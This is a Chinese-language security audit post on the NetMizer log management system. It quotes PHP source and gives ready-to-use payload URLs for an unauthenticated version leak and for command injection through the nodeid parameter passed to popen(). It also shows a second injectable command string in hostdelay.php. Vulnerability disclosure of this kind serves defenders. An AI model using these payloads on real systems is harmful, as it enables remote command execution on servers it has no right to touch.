某日志管理系统审计

渗透技巧 8个月前 admin

18 0 0

0x00 前言

title=”NetMizer 日志管理系统”

某日志管理系统审计

0x01 前台信息泄露

/data/config/upload.php 泄露了版本号.

<?php  include('../include/JSON.php');
$conn_id = mysql_connect($dsn,$dbuser,$dbpasswd);mysql_select_db("sysmonitor");
$versionfile = '/var/www/html/logserver/web.ver';$flagfile = '/tmp/upgradeflag';
function checkpw($username, $password) {  $sqlstr = "SELECT password FROM tbl_admin WHERE username='".$username."'";  $res = mysql_query($sqlstr);  if($res){    if(mysql_fetch_row($res)){      $pwd = mysql_result($res,0,"password");      if($password!="") $password = crypt($password,"poseidon");      if($pwd == $password){        mysql_close($conn_id);        return 0;      }    }  }  return -1;}
if($action == 'upload'){  $passwd = mb_check_encoding($passwd, 'UTF-8') ?  mb_convert_encoding($passwd, 'gbk', 'UTF-8') : $passwd;  if(checkpw('admin',$passwd)<0) {    echo '{"success":true, "info":"password error"}';    return;  }  $file = $_FILES["userfile"]["tmp_name"];  $file_name = $_FILES["userfile"]["name"];  $tmp_filename = "/tmp/".$file_name;  $result = move_uploaded_file($file, $tmp_filename);  if($result){    echo "{'success':true,'info':''}";  } else {    $errstr = "�����ļ��ϴ�ʧ�ܣ��������ϴ���";    echo "{'success':true,'info':'$errstr'}";    return;  }  chdir("/");  $fp = @fopen('/tmp/webupdate.tmp', "w");  @fwrite($fp, $file_name);  @fclose($fp);  system("mv /tmp/webupdate.tmp $flagfile");    return;} else if($action == 'getversion'){  $lines=@file($versionfile);  $version = "20090101";  if(isset($lines) && isset($lines[0]) && $lines[0]!="") $version = trim($lines[0]);    $str = array("success"=>true, "datas"=>$version);  $json = json_encode($str);  echo $json;  return;}
?>

Payload:/data/config/upload.php?action=getversion

某日志管理系统审计

0x02 前台任意命令执行

/data/search/position.php

<?php  include('../include/JSON.php');
  $cmd = "/var/www/cgi-bin/search_qq";
  if(!$starttime){    $stop_time = floor(time()/300)*300;    $stop_time = 1471338000+3600;    $start_time = $stoptime - 600;  } else {    list($year,$month,$day,$hour,$min,$second)=split(":| |-", urldecode($starttime));    $start_time = mktime($hour, $min, $second, $month,$day,$year);    $cmd .= " -s $start_time";    list($year,$month,$day,$hour,$min,$second)=split(":| |-", urldecode($stoptime));    $stop_time  = mktime($hour, $min, $second, $month,$day,$year);    $cmd .= " -e $stop_time";  }
  if($nodeid != ""){    $sql_nodeid = " and nodeid = ".ip2long($nodeid)." ";    $cmd .= " -n $nodeid";  } else  $sql_nodeid = "";
  $srcip = $src;  if($srcip == ""){    $srcid = "-1";  } else $srcid = ip2long($srcip);   if($srcid != "-1"){    $sql_srcid = " and srcip = $srcid ";    $cmd .= " -S $srcid";  } else {    $sql_srcid = "";  }
  if($action == 'file'){    //echo $cmd."n";    $fp = @popen($cmd,"r");    if(!$fp){      echo '{"success":true,"info":"no data"}';      return;    }

当 action=file时 nodeid若不为空会插入到$cmd变量里并传入到下方的@popen($cmd,”r”);造成命令执行.

Payload:/data/search/position.php?action=file&nodeid=|id>1.txt

某日志管理系统审计

0x03 前台任意命令执行2

/data/hostdelay/hostdelay.php

  if($action == 'list'){  // do by c    if(!$nodeid){      $devices = array();      $cmd = "ls $logpath";      exec($cmd,$devices);      for($i = 0; $i < count($devices); $i ++){        if(!ip2long($devices[$i])) continue;;        if(!$nodeid){          $nodeid = $devices[$i];          break;        }      }    }    $stop = $start + $limit;    //cgi -i 3232235877-3232235877 -a 1444974920 -s 0 -e 400    $cmd = "$cgi -q 1 -s $start -e $stop -n $nodeid ";    $cmd .= "-a $start_time -b $stop_time ";    if(isset($iplist) && $iplist != ""){      $iplists = explode("-", $iplist);      $ipstart = ip2long($iplists[0]);      if(isset($iplists[1])) $ipstop = ip2long($iplists[1]);      else $ipstop = $ipstart;      $cmd .= "-i $ipstart-$ipstop ";    }    if(isset($username) && $username != "") $cmd .= "-u $username ";    if(isset($sorttype)) $cmd .= "-c $sorttype ";//echo "$cmdn";    $fp=@popen($cmd, "r");